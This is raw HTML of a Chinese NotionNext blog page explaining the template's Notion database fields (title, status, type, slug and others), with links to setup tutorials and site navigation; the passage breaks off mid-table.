data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">模板说明</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-4fae0653be7f4e1091de344f6c6d0a6b"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-9c34447939c143e682dbda1e457673b8" data-id="9c34447939c143e682dbda1e457673b8"><span><div id="9c34447939c143e682dbda1e457673b8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9c34447939c143e682dbda1e457673b8" title="如何使用Notion编写文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">如何使用Notion编写文章</span></span></h2><div class="notion-text notion-block-dfbfc2433c104fa69afeb7ea8e16c791">请访问教程获取帮助</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-910695611f89408eba3987eb119ef85a" href="https://docs.tangly1024.com/article/start-to-write"><div><div class="notion-bookmark-title">如何在Notion中开始写作 | NotionNext文档</div><div class="notion-bookmark-description">这是一个由NotionNext生成的站点</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=91069561-1f89-408e-ba39-87eb119ef85a" alt="如何在Notion中开始写作 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/start-to-write</div></div></div></a></div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-a0bcfc3003ad485c82744dd1011c4373" href="https://docs.tangly1024.com/article/notion-short-key"><div><div class="notion-bookmark-title">Notion快捷键 | NotionNext文档</div><div class="notion-bookmark-description">Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=a0bcfc30-03ad-485c-8274-4dd1011c4373" alt="Notion快捷键 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/notion-short-key</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fwww.notion.so%2Fimage%2Fhttps%253A%252F%252Fs3-us-west-2.amazonaws.com%252Fsecure.notion-static.com%252Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%252Fe8ed862f23227112ab999a90757a3bf8.jpg%3Ftable%3Dblock%26id%3Da88d5688-b66a-4baf-a8e8-f769bb210954%26width%3D800?table=block&amp;id=a0bcfc30-03ad-485c-8274-4dd1011c4373&amp;t=a0bcfc30-03ad-485c-8274-4dd1011c4373" alt="Notion快捷键 | NotionNext文档" loading="lazy" decoding="async"/></div></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-35153d8359d14af9b98653aa8573709e" data-id="35153d8359d14af9b98653aa8573709e"><span><div id="35153d8359d14af9b98653aa8573709e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#35153d8359d14af9b98653aa8573709e" title="模板使用说明"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">模板使用说明</span></span></h2><div class="notion-text notion-block-4db6ff229486468a8f4e651a0973869c">NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-3dbdf851118a40f3a713d6477e7a71a9" href="https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"><div><div class="notion-bookmark-title">Vercel云部署 | NotionNext文档</div><div class="notion-bookmark-description">Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=3dbdf851-118a-40f3-a713-d6477e7a71a9" alt="Vercel云部署 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=tinysrgb&amp;width=800&amp;fmt=webp&amp;t=3dbdf851-118a-40f3-a713-d6477e7a71a9" alt="Vercel云部署 | NotionNext文档" loading="lazy" decoding="async"/></div></a></div><div class="notion-sync-block notion-block-2083ca79572d4541a5c957585bd5c43e"><h3 class="notion-h notion-h2 notion-block-66421ace22bf48c7ad2902813c60ca86" data-id="66421ace22bf48c7ad2902813c60ca86"><span><div id="66421ace22bf48c7ad2902813c60ca86" class="notion-header-anchor"></div><a class="notion-hash-link" href="#66421ace22bf48c7ad2902813c60ca86" title="Notion模板字段说明"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Notion模板字段说明</span></span></h3><div class="notion-text notion-block-31b03937440c4d3c9e1df7e574980c46">Notion数据库中,每条数据都将有以下属性🤔:</div><table class="notion-simple-table notion-block-b02f9c8381f143bd96283e7bebd5f788"><tbody><tr class="notion-simple-table-row notion-block-51461f6d918343ceabb88a36cbf70224"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell">属性</div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">必填</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">说明</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">备注</div></td></tr><tr class="notion-simple-table-row notion-block-f3b536924b374a1fbd378fed90eab370"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">title</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell"> 是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章标题</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">ㅤ</div></td></tr><tr class="notion-simple-table-row notion-block-6183f85b4bca488681246225c80922a6"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">status</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布状态</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">(仅当状态为<code class="notion-inline-code">Published</code> 时会被 展示)</div></td></tr><tr class="notion-simple-table-row notion-block-dd776aeb77704ce0bd084a1a747c1e42"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">type</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">页面类型 (博文<code class="notion-inline-code">Post</code> / 单页(<code class="notion-inline-code">Page</code>)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">单页不会在博文列表显示 。</div></td></tr><tr class="notion-simple-table-row notion-block-b08e203292c2494da65f10865bae9cfa"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">summary</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">内容摘要</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">搜索和简略显示会用到</div></td></tr><tr class="notion-simple-table-row notion-block-0a03579c603b4921a96c582da1d0e6a4"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">date</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布日期</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">在V3.3.9之前的版本此项为必填。</div></td></tr><tr class="notion-simple-table-row notion-block-0c2f381271c44d90a96b0f02b10442eb"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">category</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章分类</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以自定义</div></td></tr><tr class="notion-simple-table-row notion-block-9183be4f9a554940812fe50275f88d5d"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">tags</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章标签</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可多个,建议不要太多</div></td></tr><tr class="notion-simple-table-row notion-block-ba90c4d05bca43eb82db749dd4f2958a"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">slug</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章短路径</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> (每篇文章唯一,请勿 重复)</div></td></tr><tr class="notion-simple-table-row notion-block-6e433da23abf4b138e88a743d5966975"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">icon</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">菜单栏图标(仅当<code class="notion-inline-code">Page</code>/<code class="notion-inline-code">Menu</code>类型有效)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以参考:<a target="_blank" rel="noopener noreferrer" 